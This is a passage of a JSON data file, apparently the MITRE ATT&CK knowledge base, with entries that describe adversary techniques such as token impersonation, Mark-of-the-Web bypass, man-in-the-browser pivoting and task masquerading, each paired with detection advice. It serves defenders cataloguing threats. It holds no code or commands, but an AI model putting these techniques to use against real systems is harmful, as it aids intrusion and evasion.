                    "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element",
                    "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021."
                },
                {
                    "source_name": "LOLBAS Msbuild",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/",
                    "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2021-03-05T22:25:48.777Z",
            "created": "2020-03-27T21:50:26.042Z",
            "x_mitre_contributors": [
                "Carrie Roberts, @OrOneEqualsOne"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_system_requirements": [
                " .NET Framework version 4 or higher"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "name": "Mail Protocols",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071.003",
                    "url": "https://attack.mitre.org/techniques/T1071/003"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-10-21T16:35:45.633Z",
            "created": "2020-03-15T16:21:45.131Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134.003",
                    "url": "https://attack.mitre.org/techniques/T1134/003"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "source_name": "Microsoft Command-line Logging"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Make and Impersonate Token",
            "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.",
            "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-02-18T18:03:37.481Z",
            "created": "2020-02-18T18:03:37.481Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Windows User Account Control",
                "System access controls",
                "File system access controls"
            ],
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-03-11T14:49:36.954Z",
            "modified": "2020-03-11T14:55:56.177Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
            "name": "Malicious File",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1204.002",
                    "url": "https://attack.mitre.org/techniques/T1204/002"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation"
            ],
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1204.003",
                    "url": "https://attack.mitre.org/techniques/T1204/003"
                },
                {
                    "source_name": "Summit Route Malicious AMIs",
                    "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/",
                    "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Malicious Image",
            "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).",
            "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2021-04-12T17:54:08.797Z",
            "created": "2021-03-30T17:20:05.789Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",
            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Vishwas Manral, McAfee"
            ],
            "x_mitre_platforms": [
                "IaaS",
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Container: Container Creation",
                "Container: Container Start",
                "Command: Command Execution",
                "Image: Image Creation",
                "Instance: Instance Creation",
                "Instance: Instance Start",
                "Application Log: Application Log Content"
            ]
        },
        {
            "created": "2020-03-11T14:43:31.706Z",
            "modified": "2020-03-11T14:43:31.706Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).",
            "name": "Malicious Link",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1204.001",
                    "url": "https://attack.mitre.org/techniques/T1204/001"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "File: File Creation"
            ],
            "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
            "name": "Malicious Shell Modification",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1156",
                    "url": "https://attack.mitre.org/techniques/T1156"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-12-22T15:49:33.947Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created": "2020-10-01T01:33:01.433Z",
            "modified": "2021-04-15T03:08:33.165Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
            "name": "Malware",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1587.001",
                    "url": "https://attack.mitre.org/techniques/T1587/001"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "ActiveMalwareEnergy",
                    "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
                },
                {
                    "source_name": "FBI Flash FIN7 USB",
                    "url": "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf",
                    "description": "Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020."
                },
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle."
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.001",
                    "url": "https://attack.mitre.org/techniques/T1588/001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Malware",
            "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
            "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:14:41.582Z",
            "created": "2020-10-01T02:06:11.499Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2021-02-09T15:34:09.429Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Man in the Browser",
            "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1185",
                    "external_id": "T1185"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "source_name": "Wikipedia Man in the Browser"
                },
                {
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "source_name": "Cobalt Strike Browser Pivot"
                },
                {
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "source_name": "ICEBRG Chrome Extensions"
                },
                {
                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "source_name": "cobaltstrike manual"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications.",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1557",
                    "url": "https://attack.mitre.org/techniques/T1557"
                },
                {
                    "external_id": "CAPEC-94",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/94.html"
                },
                {
                    "source_name": "Rapid7 MiTM Basics",
                    "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/",
                    "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Man-in-the-Middle",
            "description": "Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.",
            "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-10-16T15:19:48.733Z",
            "created": "2020-02-11T19:07:12.114Z",
            "x_mitre_contributors": [
                "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project"
            ],
            "x_mitre_detection": "Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ]
        },
        {
            "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
            "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
            "name": "Mark-of-the-Web Bypass",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.005",
                    "url": "https://attack.mitre.org/techniques/T1553/005"
                },
                {
                    "source_name": "Microsoft Zone.Identifier 2020",
                    "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8",
                    "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021."
                },
                {
                    "source_name": "Beek Use of VHD Dec 2020",
                    "url": "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316",
                    "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021."
                },
                {
                    "source_name": "Outflank MotW 2020",
                    "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/",
                    "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021."
                },
                {
                    "source_name": "Intezer Russian APT Dec 2020",
                    "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/",
                    "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-13T22:47:08.289Z",
            "created": "2021-02-22T14:20:31.650Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Christiaan Beek, @ChristiaanBeek"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Metadata"
            ],
            "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_defense_bypassed": [
                "Anti-virus, Application control"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.004",
                    "url": "https://attack.mitre.org/techniques/T1036/004"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx",
                    "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
                    "source_name": "TechNet Schtasks"
                },
                {
                    "source_name": "Systemd Service Units",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html",
                    "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020."
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "url": "https://vms.drweb.com/virus/?i=4276269",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Masquerade Task or Service",
            "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",
            "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-24T13:24:45.580Z",
            "created": "2020-02-10T20:30:07.426Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Service: Service Metadata",
                "Service: Service Creation",
                "Scheduled Job: Scheduled Job Metadata",
                "Scheduled Job: Scheduled Job Modification"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux"
            ]
        },
        {
            "created": "2017-05-31T21:30:38.511Z",
            "modified": "2021-04-24T13:24:45.840Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036",
                    "url": "https://attack.mitre.org/techniques/T1036"
                },
                {
